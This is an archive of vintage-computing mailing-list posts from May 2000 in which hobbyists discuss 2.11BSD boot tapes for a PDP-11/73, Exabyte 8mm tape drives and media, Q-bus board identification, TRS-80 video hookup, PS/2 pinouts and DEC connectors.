08:19:55 pm" Message-ID: <20000522003154Z433851-16173+150@scapa.cs.ualberta.ca> > On May 21, Zane H. Healy wrote: > > Since this is related to getting 2.11BSD up on my PDP-11/73 I figure it's > > Semi-OT. > > > > OK, I figured since I'd had to pull the TZ30 I might as well just plug it > > into the DECstation 5000/133 I've got. I take it that such a beasty won't > > recognize a TZ30? Doing a "CNFG 3" turned up the two RZ25's in the thing, > > but not the tapedrive, and I couldn't see it from Ultrix 4.3 either. > > Hmm...can't help you with that; never tried it. I do remember, > however, reading something recently (here? or maybe NetBSD's > port-vax list?) about the TZ30 not being a well-behaved SCSI citizen > and needing some tweaks in somebody's (NetBSD's?) SCSI driver somewhere > to work properly. > > Coincidentally though, Zane, I'm doing the same thing tonight...I > just finished putting together an 11/73 and now (in parallel with a > few other things) I'm trying to figure out how to get the > distribution onto a TK50. You can fit the entire distribution on a TK50 tape. I used a DECstation 5000/20 running Ultrix to produce a TK50 tape that will boot on my 11/73. There is a C program that comes with the 2.11 distribution that can be used to build a distribution tape. You just need to compile it on your system, it probably only runs under Unix, and point it at your tape drive. The process of producing a tape takes around 20 or 30 minutes, if I remember correctly. The biggest problem that I had in the entire process was flakey disks on the 11/73. The standard 2.11 distribution doesn't handle bad blocks, so if you are using a RD5X drive it had better be free of bad blocks, at least in the first few cylinders where the root and swap file systems are placed. -- Dr. Mark Green mark@cs.ualberta.ca Professor (780) 492-4584 Director, Research Institute for Multimedia Systems (RIMS) Department of Computing Science (780) 492-1071 (FAX) University of Alberta, Edmonton, Alberta, T6G 2H1, Canada From pat at transarc.ibm.com Sun May 21 19:35:44 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:51:49 2005 Subject: TU58s all spoken for Message-ID: Wow, that was fast! --Pat. From pete at dunnington.u-net.com Sun May 21 19:20:36 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit In-Reply-To: Eric Smith "Re: exabyte tape unit" (May 21, 23:25) References: <20000521232516.8016.qmail@brouhaha.com> Message-ID: <10005220120.ZM16889@indy.dunnington.u-net.com> On May 21, 23:25, Eric Smith wrote: > On May 21, Gary Hildebrand wrote: > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is > > in MB. Got this at a swap meet for the case, but if the drive is > > useable, I'll keep it together. > > Native 5G (on 120 meter tapes?). More with compression. Uses 8mm data > tapes. 112m, actually. > Some 8mm video tapes (typically 112 meter?) have been known to > work, but if you go that route, don't use cheap ones. It's rumored that > Sony changed their 8mm tape formulation at some point to prevent their > video tapes from working in Exabyte drives, since they wanted to sell > higher-priced data-grade tapes. > > Personally, I use data grade tapes anyhow. > And yes, I've personally verified that the error rates on DDS tapes from > the major manufacturers are in fact lower than the error rates on the same > manufacturer's audio DAT tapes. Whether that's true of 8mm tapes as well, > I don't know, as I haven't done any comparisons. When I got my Exabytes (8200's), I had a mix of video and data tapes. I've never tested them properly, but it seems like the data tapes are indeed better. Tip: buy a cleaning cartridge. There's a whole lot of technical info (including the manuals, firmware notes, upgrades) on ExaByte's support web pages: http://www.exabyte.com/home/suppserv.html -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Sun May 21 20:02:02 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:49 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: "Jay West" "Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it?" (May 21, 11:34) References: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: <10005220202.ZM16908@indy.dunnington.u-net.com> On May 21, 11:34, Jay West wrote: > A friend called me about a cpu cabinet sitting next to a dumpster. I would > like some background and identification on this system if anyone knows. > At first blush I didn't think it would be interesting, but it looks like an > unibus system; it also had some M8043 and M8017 cards in it so it must be > something DECish? Well, those are Q-bus... Why do you think it looks like a Unibus? Is it hex wide? > Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type > connector (much smaller than 10b2). Main chip is N8X305N I've seen N8X305N somewhere recently, but I can't remember what it is :-( It's a Signetics part, if you want to search for it. > one #70201 which obviously went to external devices - two 50 pin headers > which end in same connector 11/23 uses to go to external RD52's Might be a Pertec-style tape interface? > Plessey Peripheral Systems board with 50-pin berg connector #703755 That sounds like a Plessey (or General Robotics) RXV21 emulator. If so, it connects to one or two 8" drives with industry-standard SA800-type interface, and it will handle double-sided drives (a la 'RX03') too. Sorry, I can't check the number as mine's inaccessible right now. Any other distinguishing marks? -- Pete Peter Turnbull Dept. of Computer Science University of York From mcguire at neurotica.com Sun May 21 20:12:03 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:49 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: Re: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? (Pete Turnbull) References: <000d01bfc342$79484320$0101a8c0@jay> <10005220202.ZM16908@indy.dunnington.u-net.com> Message-ID: <14632.35171.934414.581044@phaduka.neurotica.com> On May 22, Pete Turnbull wrote: > > Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type > > connector (much smaller than 10b2). Main chip is N8X305N > > I've seen N8X305N somewhere recently, but I can't remember what it is :-( > It's a Signetics part, if you want to search for it. It's a microcontroller...very early architectural ancestor of today's PICs if memory serves. -Dave McGuire From healyzh at aracnet.com Sun May 21 20:15:24 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:49 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <14632.32043.464425.181949@phaduka.neurotica.com> References: Semi-OT: DECstation/TZ30 question (Zane H. Healy) Message-ID: > Hmm...can't help you with that; never tried it. I do remember, >however, reading something recently (here? or maybe NetBSD's >port-vax list?) about the TZ30 not being a well-behaved SCSI citizen >and needing some tweaks in somebody's (NetBSD's?) SCSI driver somewhere >to work properly. I know it's fussy on PC SCSI controllers, but I expected it to work on a DECstation since some of the older ones came with TZ30's. I'm suspecting the 5000/133 is too new of a model to support it (sort of like trying to use a RRD40 (think that's the right designation for the external SCSI CD-ROM with the wierd caddies) on a Alpha (though the Alpha will recognize it, the software won't allow it). Sounds like it's a good thing I didn't waste my time trying to finish getting NetBSD up and running on the DECstation. I also tried it on my PII/333 Linux box, with a Diamond UW-SCSI card, but didn't really expect that to work. I swear that (*$ ^&@* thing won't talk to anything but a Exabyte tape drive! > Coincidentally though, Zane, I'm doing the same thing tonight...I >just finished putting together an 11/73 and now (in parallel with a >few other things) I'm trying to figure out how to get the >distribution onto a TK50. > > I have a MicroVAX 3100-80 running VMS 7.2 with a TZ30...perhaps I >could write that tape there? Anybody know what VMS incantations I'd >have to do to "get there from here"? *I WISH*!!!! If that was the case I'd have just stuffed a cleaned TK50 drive in the MicroVAX 3 in the garage (been meaning to anyway). However, reading the doc's on BACKUP, the smallest blocksize it supports is 2048, and to make the boot tape you need 512 and 1024-byte blocks. Is there a VMS equivalent of 'dd'? Dang, the person at work I loaned my UNIX for VMS Users book must still have it :^( It's not on the shelf where it belongs. I've got my RSX-11 drives in the /73 at the moment (gotta love SCSI drive sleds), and had originally planned on using PIP to put the files on the tape. BTW, do you have any idea how long it takes to do a DECnet copy of those files? Sheesh! Just that killed several hours. Anyway I'm thinking using PIP and telling it the Block-Size *should* work. That's when the TZ30 decided to act up. I think I've got that taken care of, now I've got to scrounge up another tape. >> Once again I'm asking myself *why* am I doing this, I like my UNIX >> lightening fast and flashy. > > Well, I've never run Unix on an '11...but you and I both have run a >lot of 11s in our day, and you know darn well there's nothing >slouchy about a J11. ;) > > -Dave McGuire Yeh, but my reason for running all these old systems is so I can play with the OS's. I use UNIX every day, so this strikes me as being kind of stupid and a waste of my time. But hey, I'm determined to get UNIX to boot, and in the long run I hope to have 2.11BSD, Ultrix-11, and UNIX V7M all running! Never said I don't do things I think are stupid :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From retro at retrobits.com Sun May 21 20:32:41 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:51:49 2005 Subject: Update 2: TRS-80 Model 1 PSU (and monitor question) References: <20000521232516.8016.qmail@brouhaha.com> <10005220120.ZM16889@indy.dunnington.u-net.com> Message-ID: <007001bfc38d$9f4668e0$0201640a@colossus> Hi again folks, Thanks for all the useful info, you were all wonderful. Tony, I took your advice and put things back together one step at a time, and the fuse held throughout the process. Success! The TRS-80 Model 1 lit up with the traditional Memory Size? (After pressing return, I learned it's a L2 BASIC enhanced model, BTW.) Now, the next challenge: Plugging into a monitor. I didn't get a TRS-80 monitor with the Model 1. I did get the pinouts for the video connector, and connected it to a composite monitor I have. It worked (hence the "success"), and was readable, but the picture was fuzzy. This doesn't necessarily surprise me...I thought I remembered the TRS-80 monitor being odd in some way. So the question...do I need to do something special to get the TRS-80 Model 1 to look good with a standard composite monitor (or is it a lost cause)? On a side note, for personal interest, a little background on how I obtained this Model 1: I was thrift-shop hopping, and having a bad day. 3 out of 4 stores, nothing. Zip. Zilch. Checked the computer/electronics section of the 4th (and final) store of the day, and nothing. So, I decided to take a look in the power supply/joystick/cable section. There, buried underneath some other worthless stuff, was the Model 1, with PSU taped to the body! I was amazed, considering that they don't grow on trees. It's in decent shape, too, with all keycaps in great shape, only minor wrist wear on the silver coating, and no scratches, dents, cracks. Only $4.00, by the way. And no tax, as I live in Oregon. No disk drive or expansion unit, and only an (authentic) TRS-80 data cassette unit to store programs on. The tape drive was $5.00 (ironic), but it's in great shape too. Got it home, and gave it a blind "test-drive". When the red LED didn't illuminate, I knew I was in trouble. So, I checked the specs on the PSU (using the Internet), and used my handy-dandy DMM to survey the voltage situation. No juice. Hence, my original message... Again, thanks for all the help! This is a great bunch! - Earl From allisonp at world.std.com Sun May 21 19:27:16 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:49 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? Message-ID: <000c01bfc387$32e03920$6c64c0d0@ajp166> >> unibus system; it also had some M8043 and M8017 cards in it so it must be >> something DECish? Those are qbus. M8043 is a DLV11j 4 line serial and the M8017 is a DLV11-E serial card. >I've seen N8X305N somewhere recently, but I can't remember what it is :-( >It's a Signetics part, if you want to search for it. It's a microcontroller used commonly in hard disk controllers as the cpu. Allison From wilson at dbit.dbit.com Sun May 21 20:48:37 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:49 2005 Subject: Mate-n-lock connectors? Message-ID: <200005220148.VAA16689@dbit.dbit.com> Does anyone know of a source for new Mate-n-lock connectors, the horrible 8-pin nylon things that DEC used to use for everything? I'm specifically looking for the female ones with PCB-mount pins. The prints I have in front of me (for the G848 flip chip) say the housing is 1209340 and the pins are 1209456, but those part #s aren't listed in the CAS pricelist (even if you add 00 on the end and put hyphens in the appropriate places). Amp still uses the name "Mate-n-lock" for some of their current nasty nylon connectors, but I couldn't find anything on their web site that had 0.200" spacing and 8 pins in a row, and none of the regular electronics catalogs seems to have anything that looks even remotely right. Inmac used to sell the bare connectors in the early 80s, but they got eaten a while back and as far as I can tell there's no trace of their mini-oriented stuff left. Thanks, John Wilson D Bit From wmsmith at earthlink.net Sun May 21 20:51:37 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:51:49 2005 Subject: I need to make a cable References: Message-ID: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> I need to make a keyboard cable for one of my Texas Instruments Portable Professional Computers. It is a proprietary format with a standard CPU keyboard connector on one end and a PS/2 female connector on the other. I have a keyboard cable from a Texas Instruments Professional Computer, which has the CPU connector (and a grid-type plug on the other end) and is a five wire cable. I had hoped to splice a standard PS/2 cable onto it, but upon opening one of these up I see there are only 4 wires so I'm a wire short (even assuming that the missing wire was in the same spot). I could solder the five wires to the conector pins (I have a really nice Hakko soldering station), but this would be a mess as you need to mutilate the cable connector in order to get to the pins. My question is, does anyone know of a PS/2 type cable that has connections to all 6 wires that I could splice onto the keyboard cable I have? -W From pechter at pechter.dyndns.org Sun May 21 21:27:38 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit In-Reply-To: from Gary Hildebrand at "May 21, 2000 10:57:47 pm" Message-ID: <200005220227.WAA02813@bg-tc-ppp86.monmouth.com> > Hello guys and gals, > > I have a quick question: I just procured an exabyte EXB8505ST and was > wondering if any of you knew what tape it uses and what the capacity is in > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > keep it together. Respond off-list to keep the clutter down. > > Kind regards > -- > Gary Hildebrand > > ghldbrd@ccp.com I believe it's 5-8gb... I've only got the 8200's and the 8505's a find. I'd love to find a cheap one. Just spent 500 to get one swapped out at work. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From rutledge at cx47646-a.phnx1.az.home.com Sun May 21 22:09:40 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:49 2005 Subject: I need to make a cable In-Reply-To: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net>; from Wayne M. Smith on Sun, May 21, 2000 at 06:51:37PM -0700 References: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> Message-ID: <20000521200938.C1453@electron.quantum.int> On Sun, May 21, 2000 at 06:51:37PM -0700, Wayne M. Smith wrote: > PS/2 cable onto it, but upon opening one of these up I > see there are only 4 wires so I'm a wire short (even > assuming that the missing wire was in the same spot). > I could solder the five wires to the conector pins (I > have a really nice Hakko soldering station), but this > would be a mess as you need to mutilate the cable > connector in order to get to the pins. Most likely not all pins are used; if memory serves there is 5V, ground, data, and clock. You can probably use a search engine to find a PS/2 connector pinout on the web. And you can get PS/2 connectors at electronics stores like Fry's. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From ethan_dicks at yahoo.com Sun May 21 22:16:13 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:49 2005 Subject: heads up MMJ crimper tool. Message-ID: <20000522031613.24473.qmail@web616.mail.yahoo.com> --- Chuck McManis wrote: > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > MMJ connectors. They get $40 + tax for it which is a lot less than Black > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > --Chuck Funny you should mention that tool - I bought that exact one at Fry's in 1996 for a friend who then didn't buy it from me. I just sold mine (with MMJ) to work because in four years, I never had to make an MMJ cable - I just pulled pre-made ones out of my serial cable box. Glad to see they are back in stock; I never knew they were gone. Can't beat the price, though. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From jrkeys at concentric.net Sun May 21 22:31:22 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:49 2005 Subject: Great Find Message-ID: <00bc01bfc39e$34f9d2e0$e1731fd1@default> Went to a police auction on Saturday and picked up a HP95LX that works great for only $5 in a box with 3 other items. No power supply was with it that I could find but it works fine using two AA's. Stopped at a Goodwill on the way home and got a couple nice mouse pads for the collection and couple nice books.A couple weeks back my wife picked a brand in the box 512k memory card for the 95LX and the cable connection kit for the 95LX at the same store for about $5 each Will be going down to Houston for two weeks and hope to get some good finds while there. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/1a2df635/attachment.html From ethan_dicks at yahoo.com Sun May 21 22:39:09 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:49 2005 Subject: PDP 8/L console Message-ID: <20000522033909.3335.qmail@web615.mail.yahoo.com> --- Lawrence LeMay wrote: > Does anyone have that information on the W076? I have the schematic in the PDP-8/L reference schematics. Isn't there a copy of these on Highgate? > I would want to connect a Teletype model 33 (assuming the one i'm > supposed to be getting one of these days actually works...). That'd be best, especially if you want to load software and don't have a high-speed paper-tape reader. > Also, I would like to be able to connect an IBM to the 8/L, and hopefully > use it to download paper tape images (probably using a rs232/current-loop > interface). Has anyone been using an IBM like this in place of a > ASR terminal? No, but you can buy/make 20mA-to-RS-232 adapters. Also, I have very successfully used DEC VT220 on my -8/L - it already has a 20mA connector on the back. My current arrangement is to use my high-speed reader for loading and my VT220 for running diags, playing games, etc., to save on TTY paper. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From ethan_dicks at yahoo.com Sun May 21 23:08:59 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:49 2005 Subject: Big Score at Dayton Hamvention RCA VIP 3301 terminal Message-ID: <20000522040859.18009.qmail@web614.mail.yahoo.com> I only got to spend Friday morning at the Hamvention, but I think my biggest find was an RCA VIP-3301 terminal. I remember seeing ads for this 20+ years ago. The seller started off asking $50, but I talked him down to $10. eBay eat your heart out! Inside, the 1800-series chips are the following - 1802, 1854, 1869, 1870, several 1852 I/O ports, a couple of 1856 latches?, one 1867, and one 1823. The RAM appears to be five 2114 chips, the rest is glue logic and some level converter hardware, including optoisolators for the switch-selectable 20mA mode. The configuration jumpers read as the following: UC U & LC E/O M/S E/M O/S 2SB 1SB F-DPX H-DPX CTRL OFF 40/24 20/12 CL EIA LOCAL LINE 110 300 1200 4800 9600 19.2K And the backplate has the following - volume pot, speaker on/off switch, RCA video-out jack, unmarked 5-pin DIN, DB25F serial connector, 5-pin DIN marked "POWER" and a power switch. There is a LM340T bolted to the case inside, so presumably, it takes in something around 7-9VDC and regulates it down to +5VDC, but since the design is 100% CMOS and Linear circuits, it doesn't _have_ to be exactly that. So... beyond the obvious things I've mentioned, does anyone have any interesting comments about this beastie? At this point, I have no idea if the membrane keyboard is any good. I have yet to power it on. Thanks in advance, -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From richard at idcomm.com Mon May 22 00:10:03 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit References: <14632.28883.224387.736116@phaduka.neurotica.com> Message-ID: <001501bfc3ab$ff35c0c0$0400c0a8@winbook> I've followed exabyte tape units quite closely on dejanews, etc, and have only seen one offered for $100 or so. That one was not packaged, and I'd happily have bought it, having paid more than twice that on behalf of others wishing to have convenient and reliable backup media available. These drives are quite fussy about the media, and, in fact, even the cleaning tapes you use. They are SONY mechanisms, hence seem to like SONY media and cleaning tapes, though I've use media from almost every major vendor. However, unlike the 8200's, these will only work with data-grade tapes. The 8200 isn't supposed to work with regular handycam cartridges, but lacks the ability to discern whether the tape is data-grade on its own. The video grade tapes work about 5% of the time. The 8505 and 8505XL spit them out quite unceremoneously, though I haven't yet figured out how they can detect that it's a video tape and not a "certified" data grade cartridge. Dick ----- Original Message ----- From: Dave McGuire To: Sent: Sunday, May 21, 2000 5:27 PM Subject: Re: exabyte tape unit > On May 21, Gary Hildebrand wrote: > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is in > > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > > keep it together. Respond off-list to keep the clutter down. > > Wow, if you bought it for the case, you probably got it cheap. 8505 > drives go for $100-150 nowadays. > > I use Sony QG-112m data-grade tapes in my 8505 drives. > > > -Dave McGuire > From richard at idcomm.com Mon May 22 00:23:21 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit References: <20000521232516.8016.qmail@brouhaha.com> Message-ID: <001b01bfc3ad$dadc6a60$0400c0a8@winbook> Actually, these drives produce nominally 10GB capacity on a 112 meter tape unless you turn off the "hardware" compression. The ability to do this is is necessary in order to maintain compatibility with the "standard" 8mm tapes produced by the EXB8200 drives which were very popular at one time. If your drive has a beige front with a grey knurled-finish button on the front, it's likely it's an 8505XL, which takes 160-meter tapes on which it yields nominally 15 MB of capacity. I harbor no ill will toward Sony or Exabyte for makeing the drive reject the garden variety video handycam cartridges, though I'm not sure anyone ever did anything specific to make the cheaper/utility grade handycam cartridges useable. The data-grade tapes only cost about 4 bucks for a 112-meter tape that yields about 10 GB of storage. I've got a Travan (1/4" cartridge) tape drive for which the 1 GB tapes cost $40 last time I bought one. I bought the drive at the request of a client. I got that drive back when I was looking for a cardboard box to put a few things in . . . in his dumpster. I can't say I didn't warn him. I've got 8-year-old backup sets that have never faltered, though I routinely do a full backup of EVERYTHING every day. That's the nice thing about having a backup device with sufficient capacity on a single element of its media that it allows a complete backup without anyone having to change the cartridge. That way a backup happens as scheduled, regardless of whether I remember or forget. If I do happen to forget to change the cartridge in the morning, the backup set is overwritten, which is not ideal, but it definitely gets done. It takes a long time, but from NT, via fast ethernet, the job takes only a little time, usually early in the morning, and is fully automatic so I don't have to strain my fading grey cells. Dick ----- Original Message ----- From: Eric Smith To: Sent: Sunday, May 21, 2000 5:25 PM Subject: Re: exabyte tape unit > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is in > > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > > keep it together. > > Native 5G (on 120 meter tapes?). More with compression. Uses 8mm data > tapes. Some 8mm video tapes (typically 112 meter?) have been known to > work, but if you go that route, don't use cheap ones. It's rumored that > Sony changed their 8mm tape formulation at some point to prevent their > video tapes from working in Exabyte drives, since they wanted to sell > higher-priced data-grade tapes. > > Personally, I use data grade tapes anyhow. > > In the "4mm" world (DAT & DDS), it astonishes me that most audiophiles will > only use DDS (data-grade) tape for recoding audio, because they don't want > any dropouts, but many computer users try to use cheap audio-grade DAT > tape for their data. I guess that shows who values their recordings more. > > And yes, I've personally verified that the error rates on DDS tapes from > the major manufacturers are in fact lower than the error rates on the same > manufacturer's audio DAT tapes. Whether that's true of 8mm tapes as well, > I don't know, as I haven't done any comparisons. > > > Respond off-list to keep the clutter down. > > Nope. > From richard at idcomm.com Mon May 22 00:24:33 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:49 2005 Subject: Misc Avail : morrow hd manual References: <4.3.1.2.20000521165833.00e1ccc0@208.226.86.10> Message-ID: <002301bfc3ae$0413de40$0400c0a8@winbook> There was a Morrow HDC sold on eBay, without its manual, a couple of months back. Perhaps you'd like to contact the guy to see if he wants to bribe you to sell it to him. Dick ----- Original Message ----- From: Chuck McManis To: Sent: Sunday, May 21, 2000 5:59 PM Subject: Misc Avail : morrow hd manual > I found an old Morrow HD-DMA manual (S-100 hard disk card I presume) if you > want it, let me know and I'll mail it to you. > > --Chuck > From richard at idcomm.com Mon May 22 00:35:35 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit References: <200005220227.WAA02813@bg-tc-ppp86.monmouth.com> Message-ID: <003301bfc3af$900b0e40$0400c0a8@winbook> I've routinely gotten good 8200's for <$50 by searching DejaNews for them. I've happily paid $100 when I needed an 8500, more if it's an 8500C (hardware compression) and if I thought I needed another 8505XL, I'd happily pay $250 for one. The first of these drives I got was from an Exabyte employee who built them from the scrap box. I started using it in '91 and it still backs up about 10 GB every day. It's been quite solid when I've attempted to restore to a replacement drive, and, aside from software quirks, works as well as I need. I have spent MANY hours and days exercising, testing, and verifying with these drives and find them refreshingly reliable. I've never had a backup turn out to be unusable, nor have I lost any files due to media flaws or the drive's inability to recover the data. With the exception of the 8200, all the 8xxx series from Exabyte are SCSI-II, which means there's software to support them. On a separate SCSI channel from the main array, server backup under NT or Netware works VERY well with them. Dick ----- Original Message ----- From: Bill Pechter To: Sent: Sunday, May 21, 2000 8:27 PM Subject: Re: exabyte tape unit > > Hello guys and gals, > > > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is in > > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > > keep it together. Respond off-list to keep the clutter down. > > > > Kind regards > > -- > > Gary Hildebrand > > > > ghldbrd@ccp.com > > > I believe it's 5-8gb... > > I've only got the 8200's and the 8505's a find. > I'd love to find a cheap one. > > Just spent 500 to get one swapped out at work. > > > Bill > > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > From mrbill at mrbill.net Mon May 22 02:22:44 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:49 2005 Subject: *ping* dave mcguire Message-ID: <20000522022244.G12544@mrbill.net> Dave McGuire, please get in touch with me off-list.. Thanks. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From pete at dunnington.u-net.com Mon May 22 02:21:09 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:49 2005 Subject: I need to make a cable In-Reply-To: "Wayne M. Smith" "I need to make a cable" (May 21, 18:51) References: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> Message-ID: <10005220821.ZM17216@indy.dunnington.u-net.com> On May 21, 18:51, Wayne M. Smith wrote: > I need to make a keyboard cable for one of my Texas > Instruments Portable Professional Computers. It is a > proprietary format with a standard CPU keyboard > connector on one end and a PS/2 female connector on the > other. I have a keyboard cable from a Texas > Instruments Professional Computer, which has the CPU > connector (and a grid-type plug on the other end) and > is a five wire cable. I had hoped to splice a standard > PS/2 cable onto it, but upon opening one of these up I > see there are only 4 wires so I'm a wire short Yes, PS/2 only uses 4 wires: ------ 1 Data / 5 3 \ 2 (Reserved) | --- 1 | 3 Signal Ground | --- 2 | 4 Power +5V \ 6 4 / 5 Clock ------ 6 (Reserved) > My question is, does anyone know of a PS/2 type cable > that has connections to all 6 wires that I could splice > onto the keyboard cable I have? Some Sun and SGI cables use five or six. For example, an SGI keyboard cable for an Indigo uses pins 1-5, and early 4D series use all six. Some extension cables sold for mice may have more than 4, because some dual serial/PS2 mice use them. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Mon May 22 02:46:47 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:49 2005 Subject: Mate-n-lock connectors? In-Reply-To: John Wilson "Mate-n-lock connectors?" (May 21, 21:48) References: <200005220148.VAA16689@dbit.dbit.com> Message-ID: <10005220846.ZM17258@indy.dunnington.u-net.com> On May 21, 21:48, John Wilson wrote: > Does anyone know of a source for new Mate-n-lock connectors, the horrible > 8-pin nylon things that DEC used to use for everything? I'm specifically > looking for the female ones with PCB-mount pins. The prints I have in front > of me (for the G848 flip chip) say the housing is 1209340 and the pins are > 1209456, but those part #s aren't listed in the CAS pricelist (even if you > add 00 on the end and put hyphens in the appropriate places). > > Amp still uses the name "Mate-n-lock" for some of their current nasty nylon > connectors, but I couldn't find anything on their web site that had 0.200" > spacing and 8 pins in a row, and none of the regular electronics catalogs > seems to have anything that looks even remotely right. I don't remember seeing 8-in-a-row in the Commercial Mate-N-Lok range for a long time, but two-rows-of-4 still exists, as does most of the rest of the range. If you can't find it on their website, try emailing them -- I did that about a year ago for something, and got a very helpful response. Unfortunately, I can't find the email so I can't just give you the address, but I seem to remember it was easy to find from their search page. -- Pete Peter Turnbull Dept. of Computer Science University of York From mcguire at neurotica.com Mon May 22 03:17:41 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:49 2005 Subject: *ping* dave mcguire In-Reply-To: *ping* dave mcguire (Bill Bradford) References: <20000522022244.G12544@mrbill.net> Message-ID: <14632.60709.684434.672537@phaduka.neurotica.com> On May 22, Bill Bradford wrote: > Dave McGuire, please get in touch with me off-list.. Heyhey...reply to old mail coming right up... -Dave From mcguire at neurotica.com Mon May 22 03:21:55 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:49 2005 Subject: *ping* dave mcguire In-Reply-To: Re: *ping* dave mcguire (Dave McGuire) References: <20000522022244.G12544@mrbill.net> <14632.60709.684434.672537@phaduka.neurotica.com> Message-ID: <14632.60963.705830.529378@phaduka.neurotica.com> On May 22, Dave McGuire wrote: > On May 22, Bill Bradford wrote: > > Dave McGuire, please get in touch with me off-list.. > > Heyhey...reply to old mail coming right up... DAMMIT I HATE FORCED REPLY-TO'S ON MAILING LISTS. -Dave McGuire From oliv555 at arrl.net Mon May 22 04:23:44 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:51:50 2005 Subject: Wanted: Manual and/or switch settings for Intel iSBC-012CX memory card References: <20000519043625.21480.qmail@brouhaha.com> Message-ID: 